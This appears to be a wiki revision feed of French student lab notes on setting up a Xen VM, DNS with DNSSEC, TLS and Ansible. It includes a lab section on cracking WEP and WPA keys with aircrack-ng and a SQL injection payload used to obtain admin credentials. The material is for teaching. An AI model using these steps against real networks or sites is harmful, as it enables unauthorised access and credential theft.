 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
# &lt;br /&gt;
#  Security updates&lt;br /&gt;
# &lt;br /&gt;
deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57895</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57895"/>
				<updated>2022-01-12T10:14:50Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
